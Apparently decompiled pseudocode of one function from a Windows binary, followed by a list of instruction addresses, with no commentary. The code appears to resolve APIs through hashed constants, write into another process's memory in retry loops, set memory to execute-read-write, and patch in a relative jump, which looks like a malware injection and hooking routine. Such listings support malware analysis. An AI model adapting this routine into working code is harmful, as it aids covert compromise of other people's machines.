				intOrPtr _v144;
				intOrPtr _v148;
				intOrPtr _v156;
				char _v160;
				signed int _v164;
				char _v168;
				signed int _v172;
				signed int _v176;
				signed int _v180;
				signed int _v184;
				intOrPtr _v188;
				signed int _v192;
				char _v196;
				void* _v200;
				signed int _v204;
				char _v208;
				char _v212;
				char _v216;
				intOrPtr _v220;
				intOrPtr _v228;
				intOrPtr _v236;
				void* _v268;
				char _v292;
				char _v308;
				char _v316;
				char _v320;
				void* _v324;
				char _v332;
				char _v340;
				void* _v356;
				void* _v360;
				char _v364;
				char _v380;
				signed int _v388;
				intOrPtr _v392;
				signed int _v396;
				intOrPtr _v400;
				signed int _v404;
				char _v408;
				void* _v412;
				char _v416;
				signed int* _v420;
				char _v424;
				char _v428;
				char _v432;
				char _v436;
				intOrPtr _v440;
				signed int* _v444;
				char _v448;
				void* _v452;
				intOrPtr _v460;
				char _v464;
				void* _v468;
				char _v472;
				intOrPtr _v476;
				char _v480;
				void* _v484;
				char _v492;
				char _v496;
				void* _v500;
				char _v508;
				char _v516;
				signed int _v520;
				char _v524;
				char _v528;
				char _v532;
				char _v536;
				char _v540;
				char _v544;
				void* _v548;
				char _v552;
				char _v556;
				char _v560;
				signed int _v564;
				signed int _v568;
				char _v572;
				char _v576;
				char _v580;
				char _v584;
				char _v588;
				char _v592;
				char _v596;
				char _v600;
				char _v604;
				char _v608;
				char _v612;
				char _v616;
				char _v620;
				char _v624;
				signed int _v628;
				char _v632;
				char _v636;
				char _v640;
				char _v644;
				char _v648;
				char _v652;
				char _v656;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				void* _t437;
				intOrPtr _t442;
				signed int _t444;
				char* _t459;
				char _t534;
				signed int _t544;
				intOrPtr _t546;
				signed int _t550;
				signed int _t556;
				intOrPtr _t561;
				signed int _t567;
				char _t579;
				intOrPtr _t584;
				char _t585;
				intOrPtr _t589;
				char _t590;
				intOrPtr _t594;
				char _t595;
				intOrPtr _t599;
				char _t600;
				intOrPtr _t604;
				char _t605;
				intOrPtr _t609;
				signed int _t622;
				char _t629;
				intOrPtr _t633;
				signed char* _t635;
				signed int _t638;
				intOrPtr _t641;
				signed int* _t647;
				signed int* _t650;
				intOrPtr _t665;
				char* _t806;
				signed int* _t836;
				char* _t837;
				char* _t844;
				void* _t845;
				intOrPtr* _t854;
				signed int* _t856;
				intOrPtr* _t857;
				signed int* _t858;
				signed int* _t860;
				signed int* _t863;
				intOrPtr _t864;
				intOrPtr _t867;
				char _t868;
				signed int _t869;
				intOrPtr* _t872;
				intOrPtr* _t874;
				intOrPtr* _t875;
				intOrPtr* _t876;
				intOrPtr* _t877;
				intOrPtr* _t878;
				signed int* _t881;
				intOrPtr* _t882;
				char* _t907;
				void* _t935;
				char _t950;
				char _t951;
				intOrPtr* _t953;
				void* _t954;
				intOrPtr* _t955;
				void* _t957;

				_t957 = __eflags;
				_t953 =  &_v496;
				_t641 = __edx;
				_v40 = __ecx;
				_t951 =  *((intOrPtr*)(__ecx + 0xc));
				E70AA2F8C(0x23627913, 0xae88daa3);
				_v496 = 0;
				E70A9F620( &_v492, 0);
				_v480 = 0;
				_v476 = 0;
				E70A9F620( &_v472, 0);
				_v528 = 0;
				E70A9F620( &_v524, 0);
				_v392 = 0x4145240a;
				asm("pxor xmm0, xmm0");
				asm("movq [ecx+0x90], xmm0");
				E70A9F8C4( &_v528, E70A9F568( &_v528) + 0x10);
				E70A9F558( &_v532, E70A9F568( &_v532) + 0xfffffff0);
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				_v540 = _v540 + 1;
				asm("pxor xmm0, xmm0");
				 *((intOrPtr*)( &_v536 + 0x88)) = 0x22dc1034;
				asm("movq [ecx+0x90], xmm0");
				E70A9F8C4( &_v536, E70A9F568( &_v536) + 0x10);
				E70A9F558( &_v540, E70A9F568( &_v540) + 0xfffffff0);
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				_v548 = _v548 + 1;
				asm("pxor xmm0, xmm0");
				 *((intOrPtr*)( &_v544 + 0x88)) = 0xc06fd820;
				asm("movq [ecx+0x90], xmm0");
				E70A9F8C4( &_v544, E70A9F568( &_v544) + 0x10);
				E70A9F558( &_v548, E70A9F568( &_v548) + 0xfffffff0);
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				_v556 = _v556 + 1;
				asm("pxor xmm0, xmm0");
				 *((intOrPtr*)( &_v552 + 0x88)) = 0xa54975b2;
				asm("movq [ecx+0x90], xmm0");
				E70A9F8C4( &_v552, E70A9F568( &_v552) + 0x10);
				E70A9F558( &_v556, E70A9F568( &_v556) + 0xfffffff0);
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				_v564 = _v564 + 1;
				asm("pxor xmm0, xmm0");
				 *((intOrPtr*)( &_v560 + 0x88)) = 0x271e028;
				asm("movq [ecx+0x90], xmm0");
				E70A9F8C4( &_v560, E70A9F568( &_v560) + 0x10);
				E70A9F558( &_v564, E70A9F568( &_v564) + 0xfffffff0);
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				_v572 = _v572 + 1;
				asm("pxor xmm0, xmm0");
				( &_v568)[0x22] = 0xf279aa39;
				asm("movq [ecx+0x90], xmm0");
				E70A9F8C4( &_v568, E70A9F568( &_v568) + 0x10);
				E70A9F558( &_v572, E70A9F568( &_v572) + 0xfffffff0);
				asm("movsd");
				asm("movsd");
				asm("movsd");
				asm("movsd");
				 *_t953 =  *_t953 + 1;
				E70AA413C(0xa5eabdf8, _t953);
				E70A9F558( &_v576, 0);
				asm("movq xmm0, [eax+0x8]");
				asm("movq [esp+0x4c], xmm0");
				E70A9F558( &_v580, 0x10);
				asm("movq xmm0, [eax+0x8]");
				asm("movq [esp+0x54], xmm0");
				E70A9F558( &_v584, 0x20);
				asm("movq xmm0, [eax+0x8]");
				asm("movq [esp+0x64], xmm0");
				E70A9F558( &_v588, 0x30);
				asm("movq xmm0, [eax+0x8]");
				asm("movq [esp+0x6c], xmm0");
				E70A9F558( &_v592, 0x40);
				asm("movq xmm0, [eax+0x8]");
				asm("movq [esp+0x74], xmm0");
				E70A9F558( &_v596, 0x50);
				asm("movq xmm0, [eax+0x8]");
				asm("movq [esp+0x7c], xmm0");
				_v584 = _t951;
				E70A9ADB8( &_v584,  &_v172, _t957,  &_v192);
				_t889 = _v176;
				_t931 = _v172;
				if((_v176 | _v172) != 0) {
					E70A9B338( &_v308, _t951, __eflags, _t889, _t931);
					E70A9F8DC( &_v516, __eflags);
					_v520 = 0;
					asm("pxor xmm0, xmm0");
					 *((intOrPtr*)( &_v516 + 0x88)) = 0x5889e652;
					asm("movq [eax+0x8], xmm0");
					E70A9F8C4( &_v516, E70A9F568( &_v516) + 0x10);
					E70A9F558( &_v520, E70A9F568( &_v520) + 0xfffffff0);
					asm("movsd");
					asm("movsd");
					asm("movsd");
					asm("movsd");
					_v528 = _v528 + 1;
					asm("pxor xmm0, xmm0");
					 *((intOrPtr*)( &_v524 + 0x88)) = 0x1eeb5e35;
					asm("movq [eax+0x8], xmm0");
					E70A9F8C4( &_v524, E70A9F568( &_v524) + 0x10);
					E70A9F558( &_v528, E70A9F568( &_v528) + 0xfffffff0);
					asm("movsd");
					asm("movsd");
					asm("movsd");
					asm("movsd");
					_v536 = _v536 + 1;
					asm("pxor xmm0, xmm0");
					 *((intOrPtr*)( &_v532 + 0x88)) = 0xac5d5303;
					asm("movq [eax+0x8], xmm0");
					E70A9F8C4( &_v532, E70A9F568( &_v532) + 0x10);
					E70A9F558( &_v536, E70A9F568( &_v536) + 0xfffffff0);
					asm("movsd");
					asm("movsd");
					asm("movsd");
					asm("movsd");
					_v544 = _v544 + 1;
					_t954 = _t953 + 0xfffffff4;
					asm("movq xmm0, [esp+0x1bc]");
					asm("movq [esp], xmm0");
					_v548 =  &_v544;
					E70A9BAB8( &_v340, __eflags);
					E70A9F558( &_v552, 0);
					asm("movq xmm0, [eax+0x8]");
					asm("movq [esp+0x5c], xmm0");
					E70A9F558( &_v556, 0x10);
					asm("movq xmm0, [eax+0x8]");
					asm("movq [esp+0x84], xmm0");
					_t935 = E70A9F558( &_v560, 0x20);
					_v164 =  *((intOrPtr*)(_t935 + 8));
					_v144 =  *((intOrPtr*)(_t935 + 0xc));
					E70A9F620( &_v396, 0);
					E70A9F620( &_v416, 0);
					_push(0);
					_push( *0x70aab7c4);
					E70AA20A4(__eflags,  &_v100);
					E70A9F75C( &_v416, __eflags);
					E70A9E054( &_v100);
					E70A9F8C4( &_v436, E70A9F744( &_v420,  &_v100));
					_t437 = E70A9F558( &_v424, 0);
					E70A97970(_t951, _t437, E70A9F558( &_v444, 0), _v112);
					_t442 = E70A9F568( &_v448);
					_v228 = _t442;
					_t101 = _t442 + 2; // 0x2
					_v188 = E70A9B0A4( &_v584, 0x20000000, __eflags, _t101);
					_v236 = 0x20000000;
					_t444 = E70A9B0A4( &_v588, 0x80000000, __eflags, 0x82);
					_v184 = _t444;
					_v204 = 0x80000000;
					__eflags = _t444 | _v204;
					if((_t444 | _v204) == 0) {
						L51:
						E70A9F6F0( &_v380);
						E70A9F6F0( &_v364);
						E70A9F6F0( &_v332);
						goto L1;
					}
					__eflags = _v116 | _v164;
					if((_v116 | _v164) == 0) {
						goto L51;
					}
					E70AA35D4( &_v292, 0, 0x80);
					_t955 = _t954 + 0xc;
					 *((intOrPtr*)( &_v316 + 0x78)) = _v20;
					E70A9CDC0( &_v316, 0);
					_t459 =  &_v320;
					_t854 = _t459 + 0xe8;
					 *_t854 = _t641;
					 *((intOrPtr*)(_t854 - 4)) = _v20;
					_push(_t459);
					E70A9B48C(_t641, _t459 - 0x20, _t854 - 4, _v20, _t951, _t951, _t854 - 4);
					asm("cdq");
					asm("movd xmm1, eax");
					asm("movd xmm0, edx");
					asm("punpckldq xmm1, xmm0");
					asm("movq [esp+0x134], xmm1");
					_v236 = E70A9F568(_v20);
					asm("cdq");
					asm("movd xmm1, eax");
					asm("movd xmm0, edx");
					asm("punpckldq xmm1, xmm0");
					asm("movq [esi+0x8], xmm1");
					_v220 = E70A9F568(_t641);
					asm("cdq");
					asm("movd xmm1, eax");
					asm("movd xmm0, edx");
					asm("punpckldq xmm1, xmm0");
					asm("movq [ebx-0x90], xmm1");
					E70AA3C8C(_t951,  &_v60 - 0x80, __eflags, _v148, _v128, 7,  &_v60);
					_t133 =  &(( &_v564)[0x58]); // 0x160
					_t856 = _t133;
					 *_t856 = _v164;
					_t856[1] = ( &_v564)[0x69];
					E70A9F8DC( &_v564, __eflags);
					_v568 = 0;
					_t746 =  &_v564;
					asm("pxor xmm0, xmm0");
					_t136 = _t746 + 0x88; // 0x88
					 *_t136 = 0x853cdd04;
					asm("movq [eax+0x8], xmm0");
					E70A9F8C4( &_v564, E70A9F568( &_v564) + 0x10);
					E70A9F558( &_v568, E70A9F568( &_v568) + 0xfffffff0);
					asm("movsd");
					asm("movsd");
					asm("movsd");
					asm("movsd");
					_v576 = _v576 + 1;
					asm("pxor xmm0, xmm0");
					 *((intOrPtr*)( &_v572 + 0x88)) = 0xb162dc4e;
					asm("movq [eax+0x8], xmm0");
					E70A9F8C4( &_v572, E70A9F568( &_v572) + 0x10);
					E70A9F558( &_v576, E70A9F568( &_v576) + 0xfffffff0);
					asm("movsd");
					asm("movsd");
					asm("movsd");
					asm("movsd");
					_v584 = _v584 + 1;
					asm("pxor xmm0, xmm0");
					 *((intOrPtr*)( &_v580 + 0x88)) = 0xc15ccc53;
					asm("movq [eax+0x8], xmm0");
					E70A9F8C4( &_v580, E70A9F568( &_v580) + 0x10);
					E70A9F558( &_v584, E70A9F568( &_v584) + 0xfffffff0);
					asm("movsd");
					asm("movsd");
					asm("movsd");
					asm("movsd");
					_v592 = _v592 + 1;
					asm("pxor xmm0, xmm0");
					 *((intOrPtr*)( &_v588 + 0x88)) = 0x73f8f999;
					asm("movq [eax+0x8], xmm0");
					E70A9F8C4( &_v588, E70A9F568( &_v588) + 0x10);
					E70A9F558( &_v592, E70A9F568( &_v592) + 0xfffffff0);
					asm("movsd");
					asm("movsd");
					asm("movsd");
					asm("movsd");
					_v600 = _v600 + 1;
					_t762 =  &_v596;
					asm("pxor xmm0, xmm0");
					_t160 = _t762 + 0x88; // 0xa8
					 *_t160 = 0x4145240a;
					asm("movq [eax+0x8], xmm0");
					E70A9F8C4( &_v596, E70A9F568( &_v596) + 0x10);
					E70A9F558( &_v600, E70A9F568( &_v600) + 0xfffffff0);
					asm("movsd");
					asm("movsd");
					asm("movsd");
					asm("movsd");
					_v608 = _v608 + 1;
					asm("pxor xmm0, xmm0");
					 *((intOrPtr*)( &_v604 + 0x88)) = 0xf06b4c6b;
					asm("movq [eax+0x8], xmm0");
					E70A9F8C4( &_v604, E70A9F568( &_v604) + 0x10);
					E70A9F558( &_v608, E70A9F568( &_v608) + 0xfffffff0);
					asm("movsd");
					asm("movsd");
					asm("movsd");
					asm("movsd");
					_v616 = _v616 + 1;
					asm("pxor xmm0, xmm0");
					 *((intOrPtr*)( &_v612 + 0x88)) = 0x7d07f92f;
					asm("movq [eax+0x8], xmm0");
					E70A9F8C4( &_v612, E70A9F568( &_v612) + 0x10);
					E70A9F558( &_v616, E70A9F568( &_v616) + 0xfffffff0);
					asm("movsd");
					asm("movsd");
					asm("movsd");
					asm("movsd");
					_v624 = _v624 + 1;
					asm("pxor xmm0, xmm0");
					 *((intOrPtr*)( &_v620 + 0x88)) = 0x2c2324e8;
					asm("movq [eax+0x8], xmm0");
					E70A9F8C4( &_v620, E70A9F568( &_v620) + 0x10);
					E70A9F558( &_v624, E70A9F568( &_v624) + 0xfffffff0);
					asm("movsd");
					asm("movsd");
					asm("movsd");
					asm("movsd");
					_t857 = _t955;
					 *_t857 =  *_t857 + 1;
					E70AA413C(0xa5eabdf8, _t857);
					E70A9F558( &_v628, 0);
					asm("movq xmm0, [eax+0x8]");
					asm("movq [esp+0xf4], xmm0");
					E70A9F558( &_v632, 0x10);
					asm("movq xmm0, [eax+0x8]");
					asm("movq [esp+0xfc], xmm0");
					E70A9F558( &_v636, 0x20);
					asm("movq xmm0, [eax+0x8]");
					asm("movq [esp+0x104], xmm0");
					E70A9F558( &_v640, 0x30);
					asm("movq xmm0, [eax+0x8]");
					asm("movq [esp+0x10c], xmm0");
					E70A9F558( &_v644, 0x40);
					asm("movq xmm0, [eax+0x8]");
					asm("movq [esp+0x114], xmm0");
					E70A9F558( &_v648, 0x50);
					asm("movq xmm0, [eax+0x8]");
					asm("movq [esp+0x11c], xmm0");
					E70A9F558( &_v652, 0x60);
					asm("movq xmm0, [eax+0x8]");
					asm("movq [esp+0x124], xmm0");
					E70A9F558( &_v656, 0x70);
					asm("movq xmm0, [eax+0x8]");
					asm("movq [ecx+0x118], xmm0");
					_t534 = E70A9A5A4( &_v644, __eflags);
					_v524 = _t857;
					_t950 = _t534;
					__eflags = _t950 - 0xffffffffffffffff | _t857 - 0xffffffffffffffff;
					if((_t950 - 0xffffffffffffffff | _t857 - 0xffffffffffffffff) == 0) {
						L50:
						E70A9B608(_t955 + 0xbc);
						E70A9CDE0( &_v320, __eflags);
						goto L51;
					}
					_t858 =  &_v128;
					__eflags =  *_t858 | _t858[1];
					if(( *_t858 | _t858[1]) != 0) {
						L18:
						_v396 = 0;
						while(1) {
							__eflags = E70A9AD68(0x80, _t950, _v400, _v112, _v132);
							if(__eflags != 0) {
								break;
							}
							_t605 = E70A9A5A4( &_v520, __eflags);
							_v400 = 0x80;
							_t950 = _t605;
							__eflags = _t950 - 0xffffffffffffffff | 0x81;
							if((_t950 - 0xffffffffffffffff | 0x81) == 0) {
								goto L50;
							}
							_t878 =  &_v396;
							_t609 =  *_t878 + 1;
							 *_t878 = _t609;
							__eflags = _t609 - 0xa;
							if(_t609 != 0xa) {
								continue;
							}
							goto L50;
						}
						_v396 = 0;
						while(1) {
							_push(0x80);
							_push(_v132);
							_push(_v112);
							_push(_v400);
							_push(_t950);
							_t860 =  &(( &_v520)[0x38]);
							__eflags = E70A9A298( &_v520, _t860);
							if(__eflags != 0) {
								break;
							}
							_t600 = E70A9A5A4( &_v540, __eflags);
							_v420 = _t860;
							_t950 = _t600;
							__eflags = _t950 - 0xffffffffffffffff | _t860 - 0xffffffffffffffff;
							if((_t950 - 0xffffffffffffffff | _t860 - 0xffffffffffffffff) == 0) {
								goto L50;
							}
							_t877 =  &_v416;
							_t604 =  *_t877 + 1;
							 *_t877 = _t604;
							__eflags = _t604 - 0xa;
							if(_t604 != 0xa) {
								continue;
							}
							goto L50;
						}
						asm("cdq");
						asm("movd xmm1, eax");
						_v416 =  *((intOrPtr*)(_t955 + 0x1a4));
						_t647 =  &_v408;
						asm("movd xmm0, edx");
						asm("punpckldq xmm1, xmm0");
						 *_t647 = 0;
						 *((intOrPtr*)(_t647 - 4)) = _v188;
						asm("movq [edx], xmm1");
						_t544 = E70AA3BA0(_t951, _t647 - 8, __eflags,  &(_t647[0x48]), 0x40, _t647);
						__eflags = _t544;
						if(_t544 != 0) {
							goto L50;
						}
						_v180 = 0;
						while(1) {
							_t863 = _v184;
							__eflags = E70A9AD68(_t863, _t950, _v420,  *((intOrPtr*)(_t955 + 0x1a8)), _v188);
							if(__eflags != 0) {
								break;
							}
							_t595 = E70A9A5A4( &_v540, __eflags);
							_v420 = _t863;
							_t950 = _t595;
							__eflags = _t950 - 0xffffffffffffffff | _t863 - 0xffffffffffffffff;
							if((_t950 - 0xffffffffffffffff | _t863 - 0xffffffffffffffff) == 0) {
								goto L50;
							}
							_t876 =  &_v180;
							_t599 =  *_t876 + 1;
							 *_t876 = _t599;
							__eflags = _t599 - 0xa;
							if(_t599 != 0xa) {
								continue;
							}
							goto L50;
						}
						_v184 = 0;
						while(1) {
							_t546 = E70A9F558( &_v404, 0);
							_push(E70A9F568( &_v408));
							_push(_v192);
							_push(_v144);
							_push(_v424);
							_push(_t950);
							_t864 = _t546;
							__eflags = E70A9A298( &_v544, _t864);
							if(__eflags != 0) {
								break;
							}
							_t590 = E70A9A5A4( &_v560, __eflags);
							_v440 = _t864;
							_t950 = _t590;
							__eflags = _t950 - 0xffffffffffffffff | _t864 - 0xffffffffffffffff;
							if((_t950 - 0xffffffffffffffff | _t864 - 0xffffffffffffffff) == 0) {
								goto L50;
							}
							_t875 =  &_v204;
							_t594 =  *_t875 + 1;
							 *_t875 = _t594;
							__eflags = _t594 - 0xa;
							if(_t594 != 0xa) {
								continue;
							}
							goto L50;
						}
						_t550 = E70AA3BA0(_t951,  &_v428 - 8, __eflags,  &_v428 + 0x120, _v428,  &_v428);
						__eflags = _t550;
						if(_t550 != 0) {
							goto L50;
						}
						E70A9F620( &_v208, 0);
						_v100 = 0xe9;
						E70A9F578( &_v100 - 0x70, __eflags,  &_v100, 1);
						_t650 =  &_v104;
						_t556 = _v172 -  *((intOrPtr*)(_t650 - 0x54)) + 0xfffffffb;
						__eflags = _t556;
						 *_t650 = _t556;
						E70A9F578(_t650 - 0x74, __eflags, _t650, 4);
						_t907 =  &_v448;
						asm("movq xmm0, [0x70aab798]");
						 *((intOrPtr*)(_t907 - 8)) = _v196;
						 *((intOrPtr*)(_t907 - 4)) =  *((intOrPtr*)(_t907 + 0x110));
						asm("movq [ebx], xmm0");
						E70AA3BA0(_t951, _t907 + 0x120 - 0x128, __eflags, _t907 + 0x120, 0x40, _t907);
						_v192 = 0;
						while(1) {
							_t561 = E70A9F558( &_v208, 0);
							_push(E70A9F568( &_v212));
							_push(_v160);
							_push(_v180);
							_push(_v444);
							_push(_t950);
							_t867 = _t561;
							__eflags = E70A9A298( &_v564, _t867);
							if(__eflags != 0) {
								break;
							}
							_t585 = E70A9A5A4( &_v580, __eflags);
							_v460 = _t867;
							_t950 = _t585;
							__eflags = _t950 - 0xffffffffffffffff | _t867 - 0xffffffffffffffff;
							if((_t950 - 0xffffffffffffffff | _t867 - 0xffffffffffffffff) == 0) {
								L49:
								E70A9F6F0(_t955 + 0x174);
								goto L50;
							}
							_t874 =  &_v180;
							_t589 =  *_t874 + 1;
							 *_t874 = _t589;
							__eflags = _t589 - 0xa;
							if(_t589 != 0xa) {
								continue;
							}
							goto L49;
						}
						_v180 = 0;
						while(1) {
							_t955 = _t955 + 0xffffffd8;
							asm("pxor xmm0, xmm0");
							_v640 = _t950;
							_v636 = _v460;
							_t868 = _v196;
							_v632 = _t868;
							_v628 = _v176;
							_t806 =  &_v580;
							_v624 =  *((intOrPtr*)(_t806 + 0x198));
							_v620 =  *((intOrPtr*)(_t806 + 0x184));
							asm("movq [esp+0x18], xmm0");
							asm("movq [esp+0x20], xmm0");
							__eflags = E70A9AD04(__eflags);
							if(__eflags != 0) {
								break;
							}
							_t579 = E70A9A5A4( &_v616, __eflags);
							_v496 = _t868;
							_t950 = _t579;
							__eflags = _t950 - 0xffffffffffffffff | _t868 - 0xffffffffffffffff;
							if((_t950 - 0xffffffffffffffff | _t868 - 0xffffffffffffffff) == 0) {
								goto L49;
							}
							_t872 =  &_v216;
							_t584 =  *_t872 + 1;
							 *_t872 = _t584;
							__eflags = _t584 - 0xa;
							if(__eflags != 0) {
								continue;
							}
							goto L49;
						}
						_push(0);
						_t869 = _v164;
						__eflags = _t869;
						_t870 =  !=  ? _t869 + 0xc : _t869;
						_push( !=  ? _t869 + 0xc : _t869);
						_t567 = E70A9C3A8(_t869,  &_v416, 0x2710);
						E70A9F6F0(_t955 + 0x184);
						E70A9B608( &_v448);
						E70A9CDE0( &_v416, __eflags);
						E70A9F6F0( &_v480);
						E70A9F6F0( &_v464);
						E70A9F6F0( &_v432);
						E70A9F6F0( &_v632);
						E70A9B680( &_v592);
						E70A9F6F0( &_v608);
						__eflags = _t567;
						return 0 | _t567 == 0x00000000;
					}
					_v388 = 0;
					do {
						E70A9F620(_t955 + 0x188, 0);
						_push(0x23627913);
						_push(_t955 + 0x1cc);
						E70AA1D00();
						E70A9DD7C(_t955 + 0x1d0 - 8, _t955 + 0x1d0);
						_t879 = 0x7fffffff;
						E70A9F578( &_v168, __eflags, _v92, E70A9E94C(_v92, 0x7fffffff));
						E70A9E054( &_v100);
						E70A9D098( &_v108);
						_t836 =  &_v176;
						_t665 =  *((intOrPtr*)(_t836 + 0x28));
						 *((intOrPtr*)(_t836 - 0xf0)) = _v156;
						__eflags = E70A9F568(_t836);
						if(__eflags <= 0) {
							L12:
							_t955 = _t955 + 0xffffffd8;
							asm("movq xmm0, [esp+0xac]");
							asm("pxor xmm1, xmm1");
							_t837 =  &_v528;
							_v588 = _t950;
							_v584 =  *((intOrPtr*)(_t837 + 0x78));
							asm("movq [esp+0x8], xmm0");
							_v572 =  *((intOrPtr*)(_t837 + 0x198));
							_v568 =  *((intOrPtr*)(_t837 + 0x184));
							asm("movq [esp+0x18], xmm1");
							asm("movq [esp+0x20], xmm1");
							_t622 = E70A9AD04(__eflags);
							__eflags = _t622;
							if(_t622 != 0) {
								E70AA218C(0x3e8, _t879, _t950);
								E70A9F6F0( &_v196);
								E70A9ADB8( &_v564,  &(( &_v172)[5]), __eflags,  &_v172);
								_t881 =  &_v176;
								__eflags =  *_t881 | _t881[1];
								if(__eflags != 0) {
									goto L18;
								}
								_t629 = E70A9A5A4( &_v564, __eflags);
								_v444 = _t881;
								_t950 = _t629;
								__eflags = _t950 - 0xffffffffffffffff | _t881 - 0xffffffffffffffff;
								if((_t950 - 0xffffffffffffffff | _t881 - 0xffffffffffffffff) == 0) {
									goto L50;
								}
								goto L16;
							}
							L13:
							E70A9F6F0( &_v196);
							goto L50;
						}
						_v404 = 0;
						while(1) {
							_t635 = E70A9F558( &_v160, _v404);
							_t879 = _t635;
							_t955 = _t955 + 0xffffffd8;
							asm("movq xmm0, [esp+0x94]");
							_t844 =  &_v532;
							asm("movq xmm1, [0x70aab790]");
							_v592 = _t950;
							_v588 =  *((intOrPtr*)(_t844 + 0x78));
							asm("movq [esp+0x8], xmm0");
							_v576 = _t665;
							_v572 =  *((intOrPtr*)(_t844 + 0x80));
							_v568 =  *_t635 & 0x000000ff;
							_v564 = 0;
							asm("movq [esp+0x20], xmm1");
							_t638 = E70A9AD04(__eflags);
							__eflags = _t638;
							if(_t638 == 0) {
								goto L13;
							}
							_t845 = 0x64;
							E70AA218C(_t845, _t879, _t950);
							_t665 = _t665 + 1;
							asm("adc dword [ecx-0xf0], 0x0");
							 *((intOrPtr*)( &_v196 - 0xf4)) =  *((intOrPtr*)( &_v196 - 0xf4)) + 1;
							__eflags = E70A9F568( &_v196) - _v440;
							if(__eflags > 0) {
								continue;
							}
							goto L12;
						}
						goto L13;
						L16:
						_t882 =  &_v432;
						_t633 =  *_t882 + 1;
						 *_t882 = _t633;
						__eflags = _t633 - 0xa;
					} while (_t633 != 0xa);
					goto L50;
				}
				L1:
				E70A9F6F0( &_v532);
				E70A9B680( &_v492);
				E70A9F6F0( &_v508);
				return 0;
			}

0x70a99144
0x70a99148
0x70a9914e
0x70a99150
0x70a99161
0x70a99164
0x70a9916b
0x70a99174
0x70a9917b
0x70a9917f
0x70a99188
0x70a9918f
0x70a99197
0x70a9919c
0x70a991ab
0x70a991af
0x70a991c4
0x70a991da
0x70a991e8
0x70a991e9
0x70a991ea
0x70a991eb
0x70a991ec
0x70a991f3
0x70a991f7
0x70a99201
0x70a99216
0x70a9922c
0x70a9923a
0x70a9923b
0x70a9923c
0x70a9923d
0x70a9923e
0x70a99245
0x70a99249
0x70a99253
0x70a99268
0x70a9927e
0x70a9928c
0x70a9928d
0x70a9928e
0x70a9928f
0x70a99290
0x70a99297
0x70a9929b
0x70a992a5
0x70a992ba
0x70a992d0
0x70a992de
0x70a992df
0x70a992e0
0x70a992e1
0x70a992e2
0x70a992e9
0x70a992ed
0x70a992f7
0x70a9930c
0x70a99322
0x70a99330
0x70a99331
0x70a99332
0x70a99333
0x70a99334
0x70a9933b
0x70a9933f
0x70a99349
0x70a9935e
0x70a99374
0x70a99382
0x70a99383
0x70a99384
0x70a99385
0x70a9938e
0x70a99390
0x70a9939b
0x70a993a0
0x70a993a5
0x70a993b1
0x70a993b6
0x70a993bb
0x70a993c7
0x70a993cc
0x70a993d1
0x70a993dd
0x70a993e2
0x70a993e7
0x70a993f3
0x70a993f8
0x70a993fd
0x70a99409
0x70a9940e
0x70a9941a
0x70a99420
0x70a99430
0x70a99435
0x70a9943e
0x70a99447
0x70a9947e
0x70a99487
0x70a9948c
0x70a99497
0x70a994a1
0x70a994a7
0x70a994b9
0x70a994cf
0x70a994dd
0x70a994de
0x70a994df
0x70a994e0
0x70a994e1
0x70a994e8
0x70a994f2
0x70a994f8
0x70a9950a
0x70a99520
0x70a9952e
0x70a9952f
0x70a99530
0x70a99531
0x70a99532
0x70a99539
0x70a99543
0x70a99549
0x70a9955b
0x70a99571
0x70a9957f
0x70a99580
0x70a99581
0x70a99582
0x70a99583
0x70a99586
0x70a99589
0x70a9959f
0x70a995a4
0x70a995a8
0x70a995b3
0x70a995b8
0x70a995bd
0x70a995c9
0x70a995ce
0x70a995d3
0x70a995e7
0x70a995ef
0x70a995f6
0x70a99606
0x70a99614
0x70a99620
0x70a99622
0x70a99629
0x70a9963c
0x70a99643
0x70a9965c
0x70a9966a
0x70a99681
0x70a9968f
0x70a99694
0x70a996a0
0x70a996ad
0x70a996b4
0x70a996c9
0x70a996ce
0x70a996d5
0x70a996dc
0x70a996e3
0x70a9a1d7
0x70a9a1de
0x70a9a1ea
0x70a9a1f6
0x00000000
0x70a9a1f6
0x70a996f0
0x70a996f7
0x00000000
0x00000000
0x70a9970c
0x70a99711
0x70a99722
0x70a99727
0x70a99733
0x70a9973a
0x70a99740
0x70a99745
0x70a99748
0x70a9974e
0x70a9975c
0x70a9975d
0x70a99761
0x70a99765
0x70a99769
0x70a9977e
0x70a99789
0x70a9978a
0x70a9978e
0x70a99792
0x70a99796
0x70a997a0
0x70a997b6
0x70a997b7
0x70a997bb
0x70a997bf
0x70a997c3
0x70a997df
0x70a997f5
0x70a997f5
0x70a997fb
0x70a997fd
0x70a99800
0x70a99805
0x70a9980c
0x70a99810
0x70a99814
0x70a9981a
0x70a99820
0x70a99832
0x70a99848
0x70a99856
0x70a99857
0x70a99858
0x70a99859
0x70a9985a
0x70a99861
0x70a9986b
0x70a99871
0x70a99883
0x70a99899
0x70a998a7
0x70a998a8
0x70a998a9
0x70a998aa
0x70a998ab
0x70a998b2
0x70a998bc
0x70a998c2
0x70a998d4
0x70a998ea
0x70a998f8
0x70a998f9
0x70a998fa
0x70a998fb
0x70a998fc
0x70a99903
0x70a9990d
0x70a99913
0x70a99925
0x70a9993b
0x70a99949
0x70a9994a
0x70a9994b
0x70a9994c
0x70a9994d
0x70a99950
0x70a99954
0x70a99958
0x70a9995e
0x70a99964
0x70a99976
0x70a9998c
0x70a9999a
0x70a9999b
0x70a9999c
0x70a9999d
0x70a9999e
0x70a999a5
0x70a999af
0x70a999b5
0x70a999c7
0x70a999dd
0x70a999eb
0x70a999ec
0x70a999ed
0x70a999ee
0x70a999ef
0x70a999f6
0x70a99a00
0x70a99a06
0x70a99a18
0x70a99a2e
0x70a99a3c
0x70a99a3d
0x70a99a3e
0x70a99a3f
0x70a99a40
0x70a99a47
0x70a99a51
0x70a99a57
0x70a99a69
0x70a99a7f
0x70a99a8d
0x70a99a8e
0x70a99a8f
0x70a99a90
0x70a99a96
0x70a99a99
0x70a99a9b
0x70a99aa6
0x70a99aab
0x70a99ab0
0x70a99abf
0x70a99ac4
0x70a99ac9
0x70a99ad8
0x70a99add
0x70a99ae2
0x70a99af1
0x70a99af6
0x70a99afb
0x70a99b0a
0x70a99b0f
0x70a99b14
0x70a99b23
0x70a99b28
0x70a99b2d
0x70a99b3c
0x70a99b41
0x70a99b46
